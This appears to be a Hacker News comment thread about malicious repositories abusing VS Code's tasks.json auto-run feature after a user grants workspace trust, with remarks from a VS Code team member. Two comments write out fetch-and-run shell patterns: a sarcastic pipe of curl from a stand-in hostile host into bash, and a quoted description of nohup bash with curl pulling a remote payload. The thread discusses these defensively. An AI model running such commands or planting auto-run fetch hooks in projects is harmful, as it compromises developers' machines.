    Yes, afaik macOS apps could theoretically be sandboxed as well (or close to) as iOS apps are. You can find the policies for many first-party apps and deamons in /System/Library/Sandbox/Profiles. But in practice most third-party apps aren't. https://bdash.net.nz/posts/tcc-and-the-platform-sandbox-policy/ https://bdash.net.nz/posts/tcc-and-the-platform-sandbox-poli... and https://bdash.net.nz/posts/sandboxing-on-macos/ https://bdash.net.nz/posts/sandboxing-on-macos/ are good introductory articles.

Animats 9mo ago

When the project is opened, Visual Studio Code prompts the user to trust the repository author. If that trust is granted, the application automatically processes the repository’s tasks.json configuration file, which can result in embedded arbitrary commands being executed on the system. Sigh. It's so Microsoft to just run random stuff. Of course, in the Linux world, we have "Install with" curl https://www.hostilecode.com > bash

AmazingTurtle 9mo ago

"Code provides features that may automatically execute files in this folder. If you don't trust the authors of these files, we recommend to continue in restricted mode as the files may be malicious." If you proceed with "Trust Project" you're at your own fault.

perryizgr8 9mo ago
The "trust project" feature has been designed to be so extremely intrusive and annoying that the first thing I do is to completely disable it whenever I install VS Code on a new computer. This "solution" was just done to tick some box and put the blame on the user when a security incident happens. It's pretty similar to Windows Vista where it annoyed you with a disruptive popup so many times during the normal course of actions that most people ended up disabling the whole UAC system. Overall security goes down, and Microsoft has a nice excuse.
- Dylan16807 9mo ago
  Vista's annoyance had a purpose, to get program developers to change things to run without escalation. They didn't want you disabling UAC, and these days it breaks things to disable UAC. By only having an upfront project-wide toggle, VS Code is much worse.
  - perryizgr8 9mo ago
    Yeah imagine if at boot Windows Vista gives you the UAC "Do you TRUST all the software you are going to run today?" and if you say yes then it just allows any random code to do whatever it wants.
- wvenable 9mo ago
  > It's pretty similar to Windows Vista where it annoyed you with a disruptive popup so many times during the normal course of actions that most people ended up disabling the whole UAC system. Nothing changed post-Vista. It's exactly the same system in Windows 11 doing exactly the same thing. It did, however, get developers to change how they do things. To be honest, the solution here is probably more dialogs like this, not less. Having one single "Trust everything here but if you don't then nothing will work" box is hardly a good way to go.

jhancock 9mo ago

In VS Code settings search for "tasks" you will find "Task: Allow Automatic Tasks"...turn it off. Anything else that should be locked down?

dude250711 9mo ago
Yes, uninstall the whole thing. It's just a Chromium covered with a bunch of JavaScript.
exitb 9mo ago
Even if you lock everything now, what if the thing autoupdates with new helpful "features". You can't patch bad development culture.
Muromec 9mo ago
Sounds like autorun on usb drives all over again. They cant learn
- tclancy 9mo ago
  I think that's a bit ungenerous: there is a push and pull between security and seamless user experience and it's never obvious where the line should be set. You really only figure out which way to move it after someone complains.
gus_ 9mo ago
On macOS systems, this results in the execution of a background shell command that uses nohup bash -c in combination with curl -s to retrieve a JavaScript payload remotely Unrestricted outbound connections, specially from curl/wget/bash
StingyJelly 9mo ago
This may only provide a flalse sense of security. Afaik, there is no way to disable workspace settings taking priority over user settings, so a malious repo can easily override them and reenable automatic tasks.

pmontra 9mo ago

My first reaction has been: when we install some node modules, import them and eventually run them, we do grant local execution permissions to whatever the authors of those modules coded in their scripts, right? More or less every language already suffer from the same problem. Who vets the code inside a Ruby gem, a Python package, etc? Add your favorite language. However I did not know about tasks.json (I don't use VSC) and when I googled it I found the example at https://code.visualstudio.com/api/extension-guides/task-provider https://code.visualstudio.com/api/extension-guides/task-prov... and that is about running rake (Ruby.) So this is a little worse than installing malicious packages: the trigger is opening a malicious repository from the editor. Is this a common practice? If it is, it means two things: 1) the developer did not take an explicit choice of installing and running code, so even the possibility of an attack is unexpected and 2) it affects users of any language, even the ones that have secured package installation or have no installation of packages from remote.

echoangle 9mo ago
You get asked if you trust the folder you’re opening every single time you open a new folder in VsCode. Everyone probably always just says yes but it’s not like it doesn’t tell you that opening untrusted folders is dangerous.
- sroussey 9mo ago
  This is when I say no. Then copy-paste my default .dev-container directory and reload.
- mjdv 9mo ago
  Until this post it wasn't clear to me that just opening and trusting a directory can cause code to be run without taking any other explicit actions that seem like they might involve running code, like running tests. My bad, but still!
  - andy_ppp 9mo ago
    What is the stated reasoning for arbitrary code execution as a feature? Seems pretty mad to me.

jotaen 9mo ago

Not a VSCode user, so a genuine question: what are practical use-cases in which you want VSCode to automatically execute a task only by opening a folder? Is it only for convenience so it already `npm i` or `npm start` without you having to do anything, or are there any other legitimate purposes beyond that?

apple1417 9mo ago
When I used it, the one use case I used it was to automatically launch a Jekyll server - if I'm working on a site I'm almost certainly going to want to look at my changes in the browser. Now that I've switched I just run one extra command, it wasn't a big saving, but it was kind of nice.
rcxdude 9mo ago
Apart from this feature specifically, in general people would like their IDE to run language servers, set up build systems, and any number of other things which are likely to require some configuration which allows executing some code in the folder to work. VS code has a restricted mode to prevent this, which you need to accept a dialog to disable, but it also disables most of its features.
- jotaen 9mo ago
  > in general people would like their IDE to run language servers, set up build systems, and any number of other things That I understand, I’m mainly wondering why all that would have to happen automatically by merely opening a folder. My personal preference may differ here, but for things like running a build or starting a dev server, I usually prefer to trigger them manually, and not have them silently executed only by me browsing through the sources. Therefore I’m trying to understand whether there are legitimate use-cases for this “auto-run on open folder” feature besides the obvious convenience aspect of saving one or two extra clicks.

_sinelaw_ 9mo ago

Is this 'task' feature really useful? I'd say applications like IDEs and text editors should not have automatic arbitrary execution of code in the first place. 'eval' should be blocked and extensions/plugins should have only very limited power to execute external logic (such as processes for LSP) or require allowlisting manually every process.

Tyriar 9mo ago

VS Code team member here :wave: As called out elsewhere, workspace trust is literally the protection here which is being circumvented. You're warned when you open a folder whether you trust the origin/authors with pretty strong wording. Sure you may find this annoying, but it's literally a security warning in a giant modal that forces you to chose. Even if automatic tasks were disabled by default, you'd still be vulnerable if you trust the workspace. VS Code is an IDE and the core and extensions can execute code based on files within the folder in order to provide rich features like autocomplete, compilation, run tests, agentic coding, etc. Before workspace trust existed, we started noticing many extensions and core features having their own version of workspace trust warnings popping up. Workspace trust unified this into a single in your face experience. It's perfectly fine to not trust the folder, you'll just enter restricted mode that will protect you and certain things will be degraded like language servers may not run, you don't be able to debug (executes code in vscode/launch.json), etc. Ultimately we're shipping developer tool that can do powerful things like automating project compilation or dependency install when you open a folder. This attack vector capitalizes on neglectful developers that ignore a scary looking security warning. It certainly happens in practice, but workspace trust is pretty critical to the trust model of VS Code and is also an important part to improve the UX around it as we annoy you a _single_ time when you open the folder, not several times from various components using a JIT notification approach. I recall many discussions happening around the exact wording of the warning, it's a difficult to communicate concept in the small amount of words that it needs to use. My recommendation is to use the check box to trust the parent or configure trusted folders. I personally have all my safe git clones in a dev/ folder which I configured to trust, but I also have a playground/ folder where I put random projects that I don't know much about and decide at the time I open something.

pezgrande 9mo ago
would it possible to show to alert only when there are potentials threats instead of every time a folder is open? Like showing a big red alert when opening a folder for the first time with a ".vscode" folder in it?
- Tyriar 9mo ago

jFriedensreich 9mo ago

I am fully moving from local electron based vscode to using vscode-server inside docker inside a vm. It has just so many advantages besides security eg. being able to have multiple workspaces in tabs instead of separate electron windows, and having all the docker/vm tooling available. This can replace remote vscode, devcontainers and electron in a nice package. There is just no reality in which vscode with electron running as user account on a bare machine can be secure not even thinking about agents in the mix. We are working on a custom browser called darc based on chromium IWAs and controlled frames instead of electron and optimised for this. (apache 2.0)

unium 9mo ago
Interesting. Link to custom browser repo?
- jFriedensreich 9mo ago
  pre alpha, xenon is like a browser framework, darc the reference browser, the vscode dev browser is like a dev focused release. https://xe.dev/darc https://xe.dev/darc

yodon 9mo ago

What is the risk profile when running untrusted code in a GitHub codespace under VS Code (other than access to and env vars or secrets attached to the code space)?

skybrian 9mo ago

I'm moving all my development to a remote VM so I can use a coding assistant without worrying too much. I use VS Code's "Remote - SSH" plugin to connect. I'm wondering if that helps. If I "trust" a remote directory, is there an exploit that can get to my laptop? There's enough complicated machinery that I'm thinking the answer is likely yes, but perhaps this has been vetted.

artbristol 9mo ago
Unfortunately according to Microsoft themselves, the answer is yes https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-ssh https://marketplace.visualstudio.com/items?itemName=ms-vscod... > A compromised remote could use the VS Code Remote connection to execute code on your local machine.
- skybrian 9mo ago
  Ah well. Since I'm mostly reading code in the VM, I should come up with a better file browser.